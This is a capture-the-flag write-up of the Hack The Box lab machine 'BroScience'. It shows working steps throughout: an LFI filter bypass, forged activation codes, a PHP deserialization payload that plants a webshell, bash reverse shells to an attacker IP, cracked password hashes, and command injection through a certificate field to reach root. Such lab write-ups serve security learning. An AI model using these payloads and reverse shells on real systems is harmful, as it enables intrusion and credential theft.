BroScience Writeup
08 April 2023 #CTF #HTB #box #medium #linuxEnumeration
Alright, time for 2 reps of nmap
:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.11.195
[...]
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
[...]
$ ports=$(awk -F/ '/^[0-9]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.195
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
Since we are redirected to https://broscience.htb
it's worth doing a vhost bruteforce, but in this case we don't find anything.
The website is a blog for gyms bros:
There's a 'LOG IN' button and we can create an account:
But it wants an activation link and we don't know how it works yet.
Going back to the index, we can see in the source that img.php
is used to pull images:
Foothold
LFI
This file seems like a decent target for a LFI:
But it looks like there is some kind of filter in place. We can bypass it by double URL encoding the slash:
We can get index.php
at /var/www/html/index.php
:
It doesn't have anything very interesting but it includes other files:
<?php
[...]
include_once 'includes/utils.php';
[...]
include_once 'includes/db_connect.php';
db_connect.php
will be useful later on.
Since we get the raw PHP code, it means the app is using file_get_contents
rather than include
, so we can't poison the Apache log file to get code execution.
Create Account
We can also get register.php
to see how the activation code works:
<?php
[...]
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
[...]
First it generates an activation code (the function comes from utils.php
). Then it will create a new user in the database. To activate the account, we must send the code to /activate.php
.
Now let's take a look at utils.php
:
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
[...]
This function returns a string of 32 alpha-numeric characters chosen randomly. But the seed is predictable (current timestamp) so we can guess the activation code.
We'll copy this function to our box in a file utils.php
. We'll add echo generate_activation_code();
at the end to actually output the code.
This shell script will create and activate an account for us:
#!/bin/sh
# create account
curl -o /dev/null -sk https://broscience.htb/register.php -d "username=$1&email=$1@asdf.com&password=asdf&password-confirm=asdf"
# activate account
code=$(php ./utils.php)
curl -o /dev/null -sk "https://broscience.htb/activate.php?code=$code"
echo "account activated with username = '$1' and password = 'asdf'"
First, we create an account on /register.php
, then we execute utils.php
to get the code and send it to /activate.php
.
$ ./generate-code.sh asdf
account activated with username = 'asdf' and password = 'asdf'
We can now log in:
PHP Deserialization
Now that we are logged in, we have a new cookie 'user-prefs'. If we base64 decode it, we get a PHP serialized object:
$ echo 'Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30=' | base64 -d
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}
The relevant code is in utils.php
as well:
<?php
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
[...]
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
[...]
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
We see that our cookie is directly passed to unserialize
(after base64 decoding it). Note also the AvatarInterface
class which implements the __wakeup()
magic function. This function is called whenever an object is unserialized.
With this we can write a file wherever we want (assuming we have permission to). The contents of this file comes from a call to file_get_contents
which we control as well.
We can use RFI to include a php webshell from our box and write it to the webroot to access it and execute code.
Here is the php code to generate the base64 encoded serialized object:
<?php
class AvatarInterface {}
$a = new AvatarInterface;
$a->tmp = 'http://10.10.14.14/webshell';
$a->imgPath = '/var/www/html/shell.php';
echo base64_encode((serialize($a)));
Run it:
$ php rfi.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNzoiaHR0cDovLzEwLjEwLjE0LjE0L3dlYnNoZWxsIjtzOjc6ImltZ1BhdGgiO3M6MjM6Ii92YXIvd3d3L2h0bWwvc2hlbGwucGhwIjt9
Now we'll create a very simple php webshell and host it with python:
$ echo '<?php system($_REQUEST["cmd"]); ?>' > webshell
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Update the cookie in the browser and refresh the page to trigger the exploit.
If everything went as planned, we should be able to access our webshell:
Let's get a reverse shell:
$ curl -k 'https://broscience.htb/shell.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"'
Privesc
www-data to bill
We know the web app is using postgres and the creds are in includes/db_connect.php
:
www-data@broscience:/var/www/html$ cat includes/db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
[...]
With this we can access the database and dump the 'users' table:
select username,password,email from users;
username | password | email
---------------+----------------------------------+------------------------------
administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb
bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb
michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb
john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb
dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb
We get a bunch of salted md5 hashes. We know the salt is prepended to the password (it's in register.php
) so we'll use hashcat in mode 20 for that:
$ hashcat -m 20 --user hashes.txt /usr/share/wordlists/rockyou.txt
[...]
$ hashcat -m 20 --user hashes.txt --show
bill:13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
We can now login as bill.
bill to root
After uploading and running pspy
on the box we see a cron job running as root:
bill@broscience:/dev/shm$ ./pspy64
[...]
2023/01/29 18:44:01 CMD: UID=0 PID=5978 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
[...]
Here is the script:
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
It takes a certificate as parameter and first checks if the cert expires in a day (86400 seconds) or less. It will then pull information like country name, email address, etc from the cert's subject. Finally, it'll generate a new certificate using this information and place it in /home/bill/Certs
with the common name as the filename.
The way we can abuse it is by specifying a command substitution payload in the common name field for the subject of the cert.
The common name is the only field that will get us code execution because it is passed to bash -c
at the end. I'm not going to pretend I understand everything that's going on but hey at least it works:
bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout ./broscience.key -out ./broscience.crt -days 1
[...]
Common Name (e.g. server FQDN or YOUR name) []:$(bash -i >& /dev/tcp/10.10.14.14/443 0>&1)
[...]
After a minute or two we should get our reverse shell as root:
root@broscience:~# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- Double URL encoding to bypass weak LFI filters
- Look for magic PHP functions when you have a deserialization exploit
pspy
to enumerate cron jobs